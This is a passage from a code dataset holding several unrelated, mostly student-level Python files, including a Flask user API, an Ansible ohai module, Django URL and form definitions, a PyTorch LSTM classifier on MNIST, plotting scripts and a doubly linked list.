get_number(\"Enter the Numerator:\")\n denom: float = get_number(\"Enter the Denominator:\")\n try:\n return Fraction(num, denom)\n except:\n print(\"Denominator can't be 0\")\n # TODO: use the same approach as get_number() to retrieve\n # TODO: an instance of class Fraction\n\n\ndef compute(f1: Fraction, operator: str, f2: Fraction) -> None:\n \"\"\" Given two fractions and an operator, return the result\n of applying the operator to the two fractions\n \"\"\"\n okay: bool = True\n result: Fraction # just define the type of result, don't set a value\n\n if operator == '+':\n result = f1 + f2\n elif operator == '-':\n result = f1 - f2\n elif operator == '*':\n result = f1 * f2\n elif operator == '/':\n result = f1 / f2\n elif operator == '=':\n result = f1 == f2\n elif operator == '!=':\n result = f1 != f2\n elif operator == '>':\n result = f1 > f2\n elif operator == '>=':\n result = f1 >= f2\n elif operator == '<':\n result = f1 < f2\n elif operator == '<=':\n result = f1 <= f2\n else:\n print(f\"Error: '{operator}' is an unrecognized operator\")\n okay = False\n\n if okay:\n print(f\"{f1} {operator} {f2} = {result}\")\n\n\ndef main() -> None:\n \"\"\" Fraction calculations \"\"\"\n print('Welcome to the fraction calculator!')\n f1: Fraction = get_fraction()\n operator: str = input(\"Operation (+, -, *, /, =, !=, <, <=, >=, >): \")\n f2: Fraction = get_fraction()\n\n try:\n compute(f1, operator, f2)\n except ZeroDivisionError as e:\n print(e)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"HW_03_Rohan_Ratwani/HW03_Rohan_Ratwani.py","file_name":"HW03_Rohan_Ratwani.py","file_ext":"py","file_size_in_byte":6712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"370650293","text":"from flask import Flask\nfrom flask_restful import Api, Resource, reqparse\n\napp = Flask(__name__)\napi = Api(app)\n\n#normally use a DB\nusers = [\n {\n \"name\": \"Nicholas\",\n \"age\": 42,\n \"occupation\": \"Network Engineer\"\n\n },\n {\n\n \"name\": \"Elvin\",\n \"age\": 32,\n \"occupation\": \"Doctor\"\n\n },\n {\n\n \"name\": \"Jass\",\n \"age\": 22,\n \"occupation\": \"Web Developer\"\n\n }\n ]\n\nclass User(Resource):\n\n #search for user if name is speficied then return user with 200 OK else 404 not found\n def get(self, name):\n for user in users:\n if(name==user[\"name\"]):\n return user, 200\n return \"User not found\", 404\n\n #create parser with reqparser, add age and occupation arguments, store parses, if user exists API wil return with 400 bad request\n def post(self, name):\n parser = reqparse.RequestParser()\n parser.add_argument(\"age\")\n parser.add_argument(\"occupation\")\n args = parser.parse_args()\n\n for user in users:\n if(name == user[\"name\"]):\n return \"User with name {} already exists.\".format(name), 400\n\n user = {\n \"name\": name,\n \"age\": args[\"age\"],\n \"occupation\": args[\"occupation\"]\n }\n users.append(user)\n return user, 201\n\n #if the user already exists update details with parsed arguments and return the user along with a 200 OK else create a user with 201\n def put(self, name):\n parser = reqparse.RequestParses()\n parser.add_argument(\"age\")\n parser.add_argument(\"occupation\")\n args = parser.parse_args()\n\n for user in users:\n if(name == user[\"name\"]):\n user[\"age\"] = args[\"age\"]\n user[\"occupation\"] = args[\"occupation\"]\n return user, 200\n\n user = {\n \"name\": name,\n \"age\": args[\"age\"],\n \"occupation\": args[\"occupation\"]\n }\n users.append(user)\n return user, 201\n\n def delete(self, name):\n global users\n users = [user for user in users if user[\"name\"] != name]\n return \"{} is deleted\".format(name), 200\n\n\napi.add_resource(User, \"/user/\")\napp.run(debug=True)\n","sub_path":"api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"240162977","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# (c) 2012, Michael DeHaan \n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n\nfrom __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\nANSIBLE_METADATA = {'metadata_version': '1.1',\n 'status': ['preview'],\n 'supported_by': 'community'}\n\nDOCUMENTATION = '''\n---\nmodule: ohai\nshort_description: Returns inventory data from I(Ohai)\ndescription:\n - Similar to the M(facter) module, this runs the I(Ohai) discovery program\n (U(https://docs.chef.io/ohai.html)) on the remote host and\n returns JSON inventory data.\n I(Ohai) data is a bit more verbose and nested than I(facter).\nversion_added: \"0.6\"\noptions: {}\nnotes: []\nrequirements: [ \"ohai\" ]\nauthor:\n - \"Ansible Core Team\"\n - \"Michael DeHaan (@mpdehaan)\"\n'''\n\nEXAMPLES = '''\n# Retrieve (ohai) data from all Web servers and store in one-file per host\nansible webservers -m ohai --tree=/tmp/ohaidata\n'''\nimport json\n\nfrom ansible.module_utils.basic import AnsibleModule\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=dict()\n )\n cmd = [\"/usr/bin/env\", \"ohai\"]\n rc, out, err = module.run_command(cmd, check_rc=True)\n module.exit_json(**json.loads(out))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"env/lib/python3.9/site-packages/ansible/modules/system/ohai.py","file_name":"ohai.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"271894012","text":"from django.urls import path\n\nfrom . import views\n\n\nurlpatterns = [\n path('work/', views.WorkListAPIView.as_view()),\n path('work/', views.WorkDetailView.as_view()),\n path('typework/', views.TypeWorkListAPIView.as_view(), name='typeWork'),\n path('work/add/', views.WorkAddAPIView.as_view(), name='addWork'),\n path('initiator/', views.InitiatorListAPIView.as_view(), name='initiator'),\n path('rank/', views.RankListAPIView.as_view(), name='rank'),\n path('rank/', views.RankUpadateDeleteView.as_view(), name='updateDeleteRank'),\n path('positions/', views.PositionListAPIView.as_view(), name='position'),\n path('positions/', views.PositionUpdateDeleteView.as_view(), name='updateDeletePosition'),\n path('subdivision/', views.SubdivisionListAPIView.as_view(), name='subdivision'),\n path('subdivision/', views.SubdivisionUpdateDeleteView.as_view(), name='updateDeleteSubdivision'),\n path('employee/', views.EmployeeListView.as_view(), name='employee'),\n]\n","sub_path":"work/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"295985464","text":"__author__ = 'muhammad.bc'\nimport sys\nfrom PySide.QtCore import *\nfrom PySide.QtGui import *\n\nclass Hello(QDialog):\n def __init__(self):\n self.qt_app = QApplication(sys.argv)\n self.greet = ['Hi','Serious','Is Ok']\n QDialog.__init__(self,None)\n self.setWindowTitle('PyQt Example')\n self.setMinimumSize(300,200)\n self.vbox = QVBoxLayout()\n self.comb = QComboBox(self)\n list(map(self.comb.addItem,self.greet))\n self.recipent = QLineEdit('World',self)\n self.but = QPushButton('&Go')\n self.but.clicked.connect(self.print_out)\n\n\n self.vbox.addWidget(self.comb)\n self.vbox.addWidget(self.recipent)\n\n self.vbox.addStretch(100)\n self.vbox.addWidget(self.but)\n\n self.setLayout(self.vbox)\n\n\n def print_out(self):\n print('%s,%s'%(self.greet[self.comb.currentIndex()].title(),self.recipent.displayText()))\n\n def run(self):\n self.show()\n self.qt_app.exec_()\n\n\napp = Hello()\napp.run()","sub_path":"PyQt/Test_UI_1.py","file_name":"Test_UI_1.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"145065071","text":"__version__ = \"0.1\"\n__author__ = \"T K Sourab \"\n\nimport argparse\nimport logging\nimport logging.config\nimport time\n\nfrom http_client import get_key, put_key\n\nlogging.config.fileConfig(\"logging.conf\")\nlogger = logging.getLogger(__name__)\n\nDEFAULT_API_URL = \"http://127.0.0.1/api/v1/keys\"\nWATCH_INTERVAL = 1\n\n\ndef args_handler(args):\n \"\"\"Handle cli arguments\n\n watch segment of this function polls the get_key api caller in specified\n interval(configurable from cli)\n\n :params args: Namespace object from parsing cli options (argparse)\n :returns None\n \"\"\"\n if args.get:\n kv_dict = get_key(args.url, args.get)\n if kv_dict:\n print(kv_dict)\n\n if args.put:\n key, value = args.put\n put_key(args.url, key, value)\n\n if args.watch:\n kv_dict = None\n logger.info(\n f\"Watching for changes by polling API endpoint at {args.interval} seconds interval\"\n )\n print(\"Press Ctrl+c to interrupt watch\")\n try:\n while True:\n current_kv_dict = get_key(args.url, args.watch)\n if kv_dict != current_kv_dict:\n kv_dict = current_kv_dict\n print(kv_dict)\n \n time.sleep(int(args.interval))\n except KeyboardInterrupt:\n print(\"Watch Interrupted!\")\n logger.info(f\"Watch Stopped\")\n\n\ndef main():\n \"\"\"Parse args from cli\n\n Calls args_handler with parsed arguments from cli\n \"\"\"\n\n parser = argparse.ArgumentParser(\n prog=\"http client\",\n description=\"Call HTTP endpoints for a key value store service\",\n )\n parser.add_argument(\n \"-url\", metavar=\"http_api_url\", help=\"Api server url\", default=DEFAULT_API_URL\n )\n parser.add_argument(\n \"-get\", metavar=\"Key\", help=\"Retreive key from server, eg: -get a\"\n )\n parser.add_argument(\n \"-put\",\n metavar=(\"Key\", \"Value\"),\n help=\"Add key:value to server, eg: -put a b\",\n nargs=2,\n )\n parser.add_argument(\n \"-watch\", metavar=\"Key\", help=\"Watch key for changes, eg: -watch a\"\n )\n parser.add_argument(\n \"-interval\",\n metavar=\"seconds\",\n help=\"Set watch/poll interval for watch option\",\n default=WATCH_INTERVAL,\n )\n\n parser.set_defaults(func=args_handler)\n args = parser.parse_args()\n\n try:\n func = args.func\n except AttributeError:\n parser.error(\"Too few arguments\")\n\n func(args)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"reforg/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"160640088","text":"from django import forms\nfrom django.forms import ModelForm, Textarea, DateInput, TextInput, NumberInput, EmailInput, Select\nfrom .models import Paciente\nfrom django.conf import settings\nfrom fixuSystem.progvars import selOrder\n\n\n\n#########################################\n# #\n# FORMS DE PACIENTES #\n# #\n#########################################\n\nclass create_edit_pacientes_form(forms.ModelForm):\n\n class Meta:\n model = Paciente\n exclude = ['firstupdated', 'lastupdated', 'modifiedby']\n widgets = {\n 'name': TextInput(attrs={'style': 'width: 180px;'}),\n 'familyname': TextInput(attrs={'style': 'width: 180px'}),\n 'dni': TextInput(attrs={'style': 'width: 120px;'}),\n 'birthdate': DateInput(attrs={'style': 'width: 120px'}),\n 'sex': Select(attrs={'style': 'width: 180px'}),\n 'job': TextInput(attrs={'style': 'width: 180px'}),\n 'address': TextInput(attrs={'style': 'width: 410px'}),\n 'city': TextInput(attrs={'style': 'width: 180px'}),\n 'province': TextInput(attrs={'style': 'width: 180px'}),\n 'country': TextInput(attrs={'style': 'width: 180px'}),\n 'email': EmailInput(attrs={'style': 'width: 180px'}),\n 'postcode': NumberInput(attrs={'style': 'width: 120px', 'min': 0, 'max': 99999}),\n 'phone1': NumberInput(attrs={'style': 'width: 120px', 'min': 0, 'max': 999999999}),\n 'phone2': NumberInput(attrs={'style': 'width: 120px', 'min': 0, 'max': 999999999}),\n 'notifyvia': Select(attrs={'style': 'width: 180px'}),\n 'notes': Textarea(attrs={'cols': 76, 'rows': 3})\n }\n\n# Form para seleccionar pacientes para mostrar\nclass select_pacientes_form(forms.Form):\n\n dni = forms.CharField(label = 'DNI:', max_length = 10, required = False)\n name = forms.CharField(label = 'Nombre:', max_length = 10, required = False)\n familyname = forms.CharField(label = 'Apellidos:', max_length = 10, required = False)\n orderby = forms.ChoiceField(label = 'Ordenar por:', choices = selOrder)\n orderby.widget = Select(attrs={'style': 'width: 242px;'}, choices = selOrder)\n\n# Form para seleccionar UN paciente para editar\nclass select_edit_pacientes_form(forms.Form):\n\n idpac = forms.CharField(label = 'id Paciente:', max_length = 10, required = False)\n idpac.widget = NumberInput(attrs={'style': 'width: 140px;', 'min': 0, 'max': 9999999999})\n dnipac = forms.CharField(label = 'DNI Paciente:', max_length = 10, required = False)\n dnipac.widget = TextInput(attrs={'style': 'width: 140px;', 'maxlength': 10})\n ","sub_path":"gestion_pacientes/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"302152679","text":"'''\nCreated on 09 apr. 2015 y.\n\n@author: Normalno\n'''\nimport time\nimport unittest\nimport threading\nfrom model.wheelModel import WheelModel\n\n\nclass TestWeelModel(unittest.TestCase):\n\n\n def setUp(self):\n self.testWheelSet = WheelModel(0, 1.05)\n self.testWheelSpd = WheelModel(1000.0, 0.05)\n self.testWheelSpd.set_current(1.0)\n self.done = threading.Event()\n \n def testCurrent(self):\n for i in range(-100000, 100000):\n try:\n self.testWheelSet.set_current(i/100.0)\n except ValueError:\n \"Cannot be set\"\n \n def testClock(self):\n for i in range(-100000, 100000):\n try:\n self.testWheelSet.time_tick(i)\n except ValueError: \n \"Clock broke\"\n \n def testSpeed(self):\n current_time_millis = lambda: int(round(time.time() * 1000))\n self.testWheelSpd.time_tick(current_time_millis() - 21000)\n self.testWheelSpd.update(self.done, test=True) \n self.assertEqual(round(self.testWheelSpd.get_speed()), 57, \"Speed is not correct\")\n \nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()","sub_path":"src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"70836744","text":"#-*- coding: utf-8 -*-\n\nfrom yuantacat.assembler.assemble_error import NoRecordAssembleError\nfrom yuantacat.assembler.capital_increase_history_assembler import CapitalIncreaseHistoryAssembler\nfrom yuantacat.common.file_utils import FileUtils\n\nimport datetime\nimport unittest\n\nclass CapitalIncreaseHistoryAssemblerTest(unittest.TestCase):\n def test_assemble_2498(self):\n # online: http://jdata.yuanta.com.tw/z/zc/zcb/zcb_2498.djhtm\n path = './yuantacat/tests/unit/data/capital_increase_history/2498.html'\n param = {\n 'content' : FileUtils().read_file(path),\n 'stock_symbol' : '2498'\n }\n dao = CapitalIncreaseHistoryAssembler().assemble(param)\n\n self.assertEqual(dao.get_stock_symbol(), param['stock_symbol'])\n\n self.assertEqual(dao.get_period(), 'Y')\n\n actual = dao.get_column_name_list()\n expected = [u'年度', u'現金增資', u'比重', u'盈餘轉增資', u'比重', u'公積及其他', u'比重']\n self.assertEqual(actual, expected)\n\n row_list = dao.get_row_list()\n self.assertEqual(row_list[0], [datetime.date(2015, 12, 31), 14.464519, 0.1747, 67.724067, 0.8180, 0.598634, 0.0072])\n for row in row_list:\n self.assertEqual(len(row), 7)\n\n def test_assemble_raise_no_record_assemble_error(self):\n # online: http://jdata.yuanta.com.tw/z/zc/zcb/zcb_3009.djhtm\n path = './yuantacat/tests/unit/data/error/capital_increase_history_not_found_error.html'\n param = {\n 'content' : FileUtils().read_file(path),\n 'stock_symbol' : '3009'\n }\n with self.assertRaises(NoRecordAssembleError) as context:\n CapitalIncreaseHistoryAssembler().assemble(param)\n self.assertEqual(context.exception.param['stock_symbol'], param['stock_symbol']) \n","sub_path":"yuantacat/tests/unit/assembler/test_capital_increase_history_assembler.py","file_name":"test_capital_increase_history_assembler.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"375896255","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Apr 20 14:48:23 2019\r\n\r\n@author: power\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport csv\r\nimport glob\r\n\r\nclass Version:\r\n def __init__(self, name, label):\r\n self.name = name\r\n self.label = label\r\n self.x = []\r\n self.WHF = []\r\n self.smoothsWHF = []\r\n self.cumulativeWHF = []\r\n self.cumulativesmoothWHF = []\r\n\r\n \r\n \r\n \r\n\r\n'''main'''\r\n\r\n#print('version?')\r\n#version = str(input())\r\n#namelist = []\r\n#namelist = glob.glob('./*log_allWHF'+'*'+version+'*.csv')\r\n\r\nnamelist = []\r\nnamelist = glob.glob('./*log_allWHF*.csv')\r\n\r\n#LES_2017after内のWallHF_ave_time~~~.csvを読み出したい\r\n#それはやめとく GP4と他を区別するのが面倒\r\n#こうやって、そのフォルダ内のcsvを読み出すのは共通の機能にしておく\r\n'''\r\nlog_allWHF_180210a_inv_little.csvといったファイル名\r\n同じRのファイルをフォルダに突っ込む→グラフを作成\r\n'''\r\n#print(namelist)\r\nlength = []\r\nnamet=[]\r\nfor name in namelist:\r\n namet.append(name[2:])\r\n#print(namet)\r\n\r\ntrimedname = map(lambda x : x[2:], namelist)\r\n#print(list(trimedname))\r\nwidth = 0.5000000E-04\r\ninslist =[]\r\nfor name in namet:\r\n labelname = name[19:-4]\r\n ins = Version(name,labelname)\r\n cumulative = 0\r\n with open(name, newline='') as name:\r\n\r\n reader = csv.reader(name)\r\n readerlist = list(reader)\r\n readerlist = readerlist[1:]\r\n \r\n for row in readerlist:\r\n ins.x.append(float(row[1]))\r\n ins.WHF.append(float(row[2]))\r\n cumulative = cumulative + float(row[2])*0.05\r\n ins.cumulativeWHF.append(cumulative)\r\n \r\n \r\n# print(ins.name)\r\n# print(ins.label)\r\n #print(ins.x)\r\n# print(ins.y)\r\n# print(ins.cumulative)\r\n inslist.append(ins)\r\n length.append(len(ins.x))\r\n \r\n \r\n#for ins in inslist:\r\n# for i in range(len(ins.y)-1):\r\n# ins.slope.append(float(ins.y[i+1]-ins.y[i])/width)\r\n# ins.slope.append(ins.slope[len(ins.y)-2])\r\n\r\n#param_aveは移動平均近似のパラメータ\r\nparam_ave = 1001\r\nhalf_param_ave = int((param_ave - 1)/2)\r\n\r\nc = np.array(1)\r\n\r\n#WHFの移動平均近似を計算\r\nlenfix = []\r\nfor ins in inslist:\r\n a = np.array(list(ins.WHF))\r\n b = np.ones(param_ave)/float(param_ave)\r\n c = np.convolve(a,b,'valid')\r\n ins.smoothWHF = c.tolist()\r\n cumu = 0\r\n for k in ins.smoothWHF:\r\n cumu = cumu + k*0.05\r\n ins.cumulativesmoothWHF.append(cumu)\r\n lenfix.append(len(ins.x[half_param_ave:-half_param_ave]))\r\n\r\n\r\nfor ins in inslist:\r\n print(ins.label)\r\n# print(ins.name)\r\n# print(ins.x)\r\n# print(ins.smoothWHF)\r\n# print(ins.x[half_param_ave:-half_param_ave])\r\n# print(ins.WHF)\r\n# print(ins.cumulativeWHF)\r\n# print(ins.cumulativesmoothWHF)\r\n\r\n\r\n#??msにおける累積熱流束の値を冷却損失の値として保存\r\ntime = 4.0 #ms\r\nwith open('cumulative_wall_heat_flux_at'+str(time)+'ms.csv', 'w', newline='') as csvfile:\r\n spamwriter = csv.writer(csvfile)\r\n spamwriter.writerow(['version','wallHF('+str(time)+'ms)'])\r\n for ins in inslist:\r\n timeindex = ins.x.index(time)\r\n spamwriter.writerow([ins.label,ins.cumulativeWHF[timeindex]])\r\n print([ins.label,ins.cumulativeWHF[timeindex]])\r\n\r\nwith open('allIWHF.csv', 'w', newline='') as csvfile:\r\n spamwriter = csv.writer(csvfile)\r\n spamwriter.writerow(['ms']+[ins.label for ins in inslist])\r\n for i in range(min(length)):\r\n spamwriter.writerow([i*5*10**(-5)]+[ins.cumulativeWHF[i] for ins in inslist])\r\n\r\nwith open('allIsmoothWHF.csv', 'w', newline='') as csvfile:\r\n spamwriter = csv.writer(csvfile)\r\n spamwriter.writerow(['ms']+[ins.label for ins in inslist])\r\n xfixed = ins.x[half_param_ave:-half_param_ave]\r\n for i,x in enumerate(xfixed[:min(lenfix)]):\r\n spamwriter.writerow([x]+[ins.smoothWHF[i] for ins in inslist])\r\n\r\n#raw data\r\n\r\n'''plot''' \r\nplt.figure(figsize=(20,15))\r\nax1 = plt.subplot(211)\r\nax1.set_xlim(0,4.51)\r\nax1.set_ylim(0.0,0.0301)\r\nplt.title(\"allWHF\", fontsize=30)\r\nfor ins in inslist:\r\n plt.plot(ins.x,ins.WHF,label=ins.label)\r\n#plt.xlabel('time(ms)')\r\nplt.ylabel('Qwall MW', fontsize=30)\r\n#plt.setp(ax1.get_xticklabels(), visible=False)\r\n#plt.legend()\r\nplt.legend(fontsize = 'small',frameon = True,prop={'size':20,})\r\nplt.xticks( np.arange(0, 4.5, 0.4) )\r\nplt.tick_params(labelsize = 20,direction = 'in',length = 7)\r\n\r\n#plt.show()\r\n\r\nax2 = plt.subplot(212, sharex=ax1)\r\nplt.subplot(212)\r\nax2.set_xlim(0,4.51)\r\nax2.set_ylim(0.0,50.01)\r\nplt.title(\"cumultive_WHF\", fontsize=30)\r\nfor ins in inslist:\r\n plt.plot(ins.x,ins.cumulativeWHF,label=ins.label)\r\nplt.xlabel('time ms', fontsize=30)\r\nplt.ylabel('Total Heat Loss J', fontsize=30)\r\nplt.legend(fontsize = 'small',frameon = True,prop={'size':20,})\r\n#plt.grid()\r\nplt.xticks( np.arange(0, 4.5, 0.5) )\r\nplt.tick_params(labelsize = 20,direction = 'in',length = 7)\r\n#plt.show()\r\n#\r\nfilename = \"C:/Users/power/Desktop/python/images/allWHF.png\"\r\nplt.savefig(filename,dpi = 200, bbox_inches = 'tight', pad_inches = 0.1)\r\n# \r\n\r\n\r\n#Averaged data\r\n\r\n'''plot''' \r\nplt.figure(figsize=(16,12))\r\nax1 = plt.subplot(211)\r\nax1.set_xlim(0,4.51)\r\nax1.set_ylim(0.0,0.0301)\r\n#plt.title(\"allWHF_movingAve\", fontsize=30)\r\nfor ins in inslist:\r\n xfixed = ins.x[half_param_ave:-half_param_ave]\r\n plt.plot(xfixed,ins.smoothWHF,label=ins.label)\r\nplt.xlabel('time ms', fontsize=30)\r\nplt.ylabel('Qwall MW', fontsize=30)\r\n#plt.setp(ax1.get_xticklabels(), visible=False)\r\n#plt.legend()\r\nplt.legend(fontsize = 'small',frameon = True,prop={'size':20,})\r\nplt.xticks( np.arange(0, 4.501, 0.5) )\r\nplt.tick_params(labelsize = 20,direction = 'in',length = 7)\r\n\r\n#plt.show()\r\n\r\nax2 = plt.subplot(212, sharex=ax1)\r\nax2.set_xlim(0,4.51)\r\nax2.set_ylim(0.0,50.01)\r\n#plt.title(\"cumultive_WHF_movingAve\", fontsize=30)\r\nfor ins in inslist:\r\n xfixed = ins.x[half_param_ave:-half_param_ave]\r\n plt.plot(xfixed,ins.cumulativesmoothWHF,label=ins.label)\r\nplt.xlabel('time ms', fontsize=30)\r\nplt.ylabel('Total Heat Loss J', fontsize=30)\r\nplt.legend(fontsize = 'small',frameon = True,prop={'size':20,})\r\n#plt.grid()\r\nplt.xticks( np.arange(0, 4.501, 0.5) )\r\nplt.tick_params(labelsize = 20,direction = 'in',length = 7)\r\n#plt.show()\r\n\r\nfilename = \"C:/Users/power/Desktop/python/images/allWHF_movingAve.png\"\r\nplt.savefig(filename,dpi = 200, bbox_inches = 'tight', pad_inches = 0.1)","sub_path":"allWHF.py","file_name":"allWHF.py","file_ext":"py","file_size_in_byte":6580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"469003966","text":"import torch\nimport torchvision\nimport torch.nn as nn\nfrom torch.autograd import variable\nimport torch.utils.data as Data\n\nEPOCH = 1\nBATCH_SIZE = 64\nTIME_STEP = 28\nINPUT_SIZE = 28\nLR = 0.01\nDOWNLOAD_MNIST = False\n\nclass RNN(nn.Module):\n def __init__(self):\n super(RNN, self).__init__()\n self.rnn = nn.LSTM(\n input_size=INPUT_SIZE,\n hidden_size=64,\n num_layers=1,\n batch_first=True\n )\n self.out = nn.Linear(64, 10)\n\n def forward(self, x):\n r_out, (h, c) = self.rnn(x, None) #(batch_size, time_step, input_size)\n return self.out(r_out[:, -1, :])\n\n\nif __name__ == '__main__':\n train_data = torchvision.datasets.MNIST(\n root='./MNIST',\n train=True,\n transform=torchvision.transforms.ToTensor(),\n download=DOWNLOAD_MNIST\n )\n train_loader = Data.DataLoader(\n dataset=train_data,\n batch_size=BATCH_SIZE,\n shuffle=True,\n num_workers=1\n )\n\n test_data = torchvision.datasets.MNIST(\n root='./MNIST',\n train=False,\n download=DOWNLOAD_MNIST\n )\n\n test_x = test_data.data.type(torch.FloatTensor)[:2000] / 255\n test_y = test_data.targets.type(torch.LongTensor)[:2000]\n\n rnn = RNN()\n optimizer = torch.optim.Adam(rnn.parameters(), lr=LR)\n loss_func = nn.CrossEntropyLoss()\n\n for epoch in range(EPOCH):\n for step, (batch_x, batch_y) in enumerate(train_loader):\n prediction = rnn(batch_x.view(-1, 28, 28)) # reshape x to (batch, time_step, input_size)\n loss = loss_func(prediction, batch_y)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if step % 100 == 0:\n test_out = rnn(test_x)\n pred_y = torch.max(test_out, 1)[1].data.numpy().squeeze()\n accuracy = sum(pred_y == test_y.numpy()) / len(pred_y)\n\n print('Epoch: ', epoch, '| Accuracy: %.4f' % accuracy, '| Loss: %.4f' % loss.data.numpy())\n","sub_path":"torch_learn/P22 RNN_Classification.py","file_name":"P22 RNN_Classification.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"327530572","text":"from application import app\nfrom application.mission import getMission, requestTarget, requestWeapon\nfrom flask import jsonify\n\n@app.route('/', methods=[\"GET\"])\ndef mission():\n targetService = \"http://target:5002/\"\n weaponService = \"http://weapon:5003/\"\n targetList = requestTarget(targetService)\n weaponList = requestWeapon(weaponService)\n return jsonify(getMission(targetList, weaponList))\n","sub_path":"applicationMission/application/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"492860240","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('user_login/',views.user_login,name='user_login'),\n path('logout/', views.user_logout, name='logout'),\n path('new/', views.contact_new, name='new'),\n path('new//', views.contact_edit, name='edit'),\n path('delete//', views.contact_delete, name='delete'),\n]","sub_path":"myweb/contact/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"571730941","text":"# def calculateSquare(n):\n# return n*n\n\n# numbers = (1, 2, 3, 4)\n# result = map(calculateSquare, numbers)\n# print(result)\n\n# numbersSquare = list(result)\n# print(numbersSquare)\n\nif __name__ == '__main__':\n n = int(input())\n arr = list(map(int, input().split()))\n\nprint(arr[-2])","sub_path":"Hackerrank/runner_up.py","file_name":"runner_up.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"423781006","text":"class Node(object):\n def __init__(self, item):\n self.item = item\n self.pre = None\n self.next = None\n\n\nclass DoubleLinkList(object):\n \"\"\"双向链表\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, item):\n \"\"\"尾部添加\"\"\"\n node = Node(item)\n if self.isEmpty():\n self.head = node\n else:\n cur = self.head\n while cur.next is not None:\n cur = cur.next\n node.pre = cur\n cur.next = node\n\n def add(self, item):\n \"\"\"头部添加\"\"\"\n node = Node(item)\n node.next = self.head\n self.head.pre = node\n self.head = node\n\n def length(self):\n if self.isEmpty():\n return 0\n else:\n cur = self.head\n i = 0\n while cur is not None:\n cur = cur.next\n i += 1\n return i\n\n def travel(self):\n \"\"\"遍历\"\"\"\n if self.isEmpty():\n print(\"链表为空\")\n else:\n cur = self.head\n while cur is not None:\n print(cur.item, end=\" \")\n cur = cur.next\n print(\"\")\n\n def insert(self, index, item):\n \"\"\"指定位置插入\"\"\"\n if index > self.length():\n self.append(item)\n else:\n if index > 1:\n node = Node(item)\n i = 1\n cur = self.head\n while cur.next is not None:\n if i + 1 == index:\n node.next = cur.next\n node.pre = cur\n cur.next = node\n cur.next.pre = node\n break\n else:\n cur = cur.next\n i += 1\n\n else:\n self.add(item)\n\n def delete(self, item):\n if self.isEmpty():\n print(\"链表为空\")\n else:\n cur = self.head\n while cur.next is not None:\n if cur.item == item:\n cur.pre.next = cur.next\n cur.next.pre = cur.pre\n\n break\n else:\n cur = cur.next\n\n def isEmpty(self):\n return self.head is None\n\n\nif __name__ == '__main__':\n s = DoubleLinkList()\n print(s.isEmpty())\n print(s.length())\n s.append(1)\n s.append(2)\n s.append(3)\n s.append(4) # 1,2,3,4\n print(s.length())\n s.travel()\n s.insert(2, 100) # 第二个位置,1,100,2,3,4\n s.travel()\n\n s.add(200)\n s.travel()\n s.delete(100)\n s.travel()\n","sub_path":"数据结构练习/02-线性表/02-双向链表.py","file_name":"02-双向链表.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"42369905","text":"# Copyright 2016 Mellanox Technologies, Ltd\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\nimport mock\nimport threading\n\nfrom neutron.tests.unit import testlib_api\nfrom neutron_lib.db import api as neutron_db_api\n\nfrom networking_mlnx.db.models import sdn_maintenance_db\nfrom networking_mlnx.journal import maintenance\nfrom networking_mlnx.plugins.ml2.drivers.sdn import constants as 